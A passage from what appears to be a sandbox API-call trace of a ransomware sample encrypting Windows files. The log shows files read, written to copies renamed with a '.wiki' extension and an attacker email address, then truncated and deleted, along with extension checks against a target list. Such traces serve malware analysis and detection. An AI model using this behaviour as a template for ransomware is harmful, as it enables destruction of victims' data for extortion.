lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x2d35, lpOverlapped=0x0) returned 1 [0053.503] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0053.504] ReadFile (in: hFile=0x1e8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.504] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.505] SetEndOfFile (hFile=0x214) returned 1 [0053.505] CloseHandle (hObject=0x214) returned 1 [0053.505] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.505] SetEndOfFile (hFile=0x1e8) returned 1 [0053.506] CloseHandle (hObject=0x1e8) returned 1 [0053.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.506] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0053.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0053.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0053.506] lstrlenW (lpString=".doc") returned 4 [0053.506] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.506] lstrlenW (lpString=".docx") returned 5 [0053.506] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.506] lstrlenW (lpString=".pdf") returned 4 [0053.506] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.506] lstrlenW (lpString=".xls") returned 4 [0053.506] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.506] lstrlenW (lpString=".xlsx") returned 5 [0053.506] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.507] lstrlenW (lpString=".ppt") returned 4 [0053.507] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0053.507] lstrlenW (lpString=".zip") returned 4 [0053.507] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.507] lstrlenW (lpString=".rar") returned 4 [0053.507] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.507] lstrlenW (lpString=".bz2") returned 4 [0053.507] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.507] lstrlenW (lpString=".7z") returned 3 [0053.507] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0053.507] lstrlenW (lpString=".dbf") returned 4 [0053.507] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0053.507] lstrlenW (lpString=".1cd") returned 4 [0053.507] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0053.507] lstrlenW (lpString=".jpg") returned 4 [0053.507] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0053.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0053.507] lstrlenW (lpString=".doc") returned 4 [0053.507] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.507] lstrlenW (lpString=".docx") returned 5 [0053.507] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.507] lstrlenW (lpString=".pdf") returned 4 [0053.507] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.507] lstrlenW (lpString=".xls") returned 4 [0053.507] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.507] lstrlenW (lpString=".xlsx") returned 5 [0053.507] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.507] lstrlenW (lpString=".ppt") returned 4 [0053.508] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0053.508] lstrlenW (lpString=".zip") returned 4 [0053.508] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.508] lstrlenW (lpString=".rar") returned 4 [0053.508] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.508] lstrlenW (lpString=".bz2") returned 4 [0053.508] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.508] lstrlenW (lpString=".7z") returned 3 [0053.508] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0053.508] lstrlenW (lpString=".dbf") returned 4 [0053.508] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0053.508] lstrlenW (lpString=".1cd") returned 4 [0053.508] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0053.508] lstrlenW (lpString=".jpg") returned 4 [0053.508] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.508] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0053.508] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.509] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2574) returned 1 [0053.509] CloseHandle (hObject=0x1e8) returned 1 [0053.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0053.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0054.019] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.019] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.028] GetLastError () returned 0x0 [0054.028] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xa0e, lpOverlapped=0x0) returned 1 [0054.045] WriteFile (in: hFile=0x1dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xa10, lpOverlapped=0x0) returned 1 [0054.070] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.071] WriteFile (in: hFile=0x1dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.071] SetEndOfFile (hFile=0x1dc) returned 1 [0054.078] CloseHandle (hObject=0x1dc) returned 1 [0054.080] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.080] SetEndOfFile (hFile=0x1f8) returned 1 [0054.089] CloseHandle (hObject=0x1f8) returned 1 [0054.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.089] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0054.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.096] lstrlenW (lpString=".doc") returned 4 [0054.096] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.096] lstrlenW (lpString=".docx") returned 5 [0054.096] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.096] lstrlenW (lpString=".pdf") returned 4 [0054.096] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.096] lstrlenW (lpString=".xls") returned 4 [0054.096] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.096] lstrlenW (lpString=".xlsx") returned 5 [0054.096] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.096] lstrlenW (lpString=".ppt") returned 4 [0054.096] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.096] lstrlenW (lpString=".zip") returned 4 [0054.096] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.096] lstrlenW (lpString=".rar") returned 4 [0054.096] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.096] lstrlenW (lpString=".bz2") returned 4 [0054.096] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.097] lstrlenW (lpString=".7z") returned 3 [0054.097] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.097] lstrlenW (lpString=".dbf") returned 4 [0054.097] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.097] lstrlenW (lpString=".1cd") returned 4 [0054.097] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.097] lstrlenW (lpString=".jpg") returned 4 [0054.097] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.097] lstrlenW (lpString=".doc") returned 4 [0054.097] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.097] lstrlenW (lpString=".docx") returned 5 [0054.097] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.097] lstrlenW (lpString=".pdf") returned 4 [0054.097] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.097] lstrlenW (lpString=".xls") returned 4 [0054.097] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.097] lstrlenW (lpString=".xlsx") returned 5 [0054.097] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.097] lstrlenW (lpString=".ppt") returned 4 [0054.097] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.097] lstrlenW (lpString=".zip") returned 4 [0054.097] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.097] lstrlenW (lpString=".rar") returned 4 [0054.097] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.097] lstrlenW (lpString=".bz2") returned 4 [0054.097] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.097] lstrlenW (lpString=".7z") returned 3 [0054.097] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.098] lstrlenW (lpString=".dbf") returned 4 [0054.098] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.098] lstrlenW (lpString=".1cd") returned 4 [0054.098] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.098] lstrlenW (lpString=".jpg") returned 4 [0054.098] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.098] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0054.098] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.501] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=47962) returned 1 [0054.501] CloseHandle (hObject=0x20c) returned 1 [0054.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0054.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0054.517] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.517] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.524] GetLastError () returned 0x0 [0054.524] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xbb5a, lpOverlapped=0x0) returned 1 [0054.539] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xbb60, lpOverlapped=0x0) returned 1 [0054.541] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.541] WriteFile (in: hFile=0x1f4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.541] SetEndOfFile (hFile=0x1f4) returned 1 [0054.541] CloseHandle (hObject=0x1f4) returned 1 [0054.541] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.541] SetEndOfFile (hFile=0x1f0) returned 1 [0054.542] CloseHandle (hObject=0x1f0) returned 1 [0054.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.542] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1 [0054.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0054.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0054.542] lstrlenW (lpString=".doc") returned 4 [0054.543] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.543] lstrlenW (lpString=".docx") returned 5 [0054.543] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.543] lstrlenW (lpString=".pdf") returned 4 [0054.543] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.543] lstrlenW (lpString=".xls") returned 4 [0054.543] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.543] lstrlenW (lpString=".xlsx") returned 5 [0054.543] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.543] lstrlenW (lpString=".ppt") returned 4 [0054.543] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0054.543] lstrlenW (lpString=".zip") returned 4 [0054.543] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.543] lstrlenW (lpString=".rar") returned 4 [0054.543] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.543] lstrlenW (lpString=".bz2") returned 4 [0054.543] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.543] lstrlenW (lpString=".7z") returned 3 [0054.543] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0054.543] lstrlenW (lpString=".dbf") returned 4 [0054.543] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0054.543] lstrlenW (lpString=".1cd") returned 4 [0054.543] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0054.543] lstrlenW (lpString=".jpg") returned 4 [0054.543] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0054.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0054.543] lstrlenW (lpString=".doc") returned 4 [0054.543] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.543] lstrlenW (lpString=".docx") returned 5 [0054.544] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.544] lstrlenW (lpString=".pdf") returned 4 [0054.544] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.544] lstrlenW (lpString=".xls") returned 4 [0054.544] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.544] lstrlenW (lpString=".xlsx") returned 5 [0054.544] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.544] lstrlenW (lpString=".ppt") returned 4 [0054.544] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0054.544] lstrlenW (lpString=".zip") returned 4 [0054.544] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.544] lstrlenW (lpString=".rar") returned 4 [0054.544] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.544] lstrlenW (lpString=".bz2") returned 4 [0054.544] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.544] lstrlenW (lpString=".7z") returned 3 [0054.544] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0054.544] lstrlenW (lpString=".dbf") returned 4 [0054.544] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0054.544] lstrlenW (lpString=".1cd") returned 4 [0054.544] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0054.544] lstrlenW (lpString=".jpg") returned 4 [0054.544] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.544] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0054.544] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0054.545] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1737) returned 1 [0054.545] CloseHandle (hObject=0x1f0) returned 1 [0054.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0054.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0054.545] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.545] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 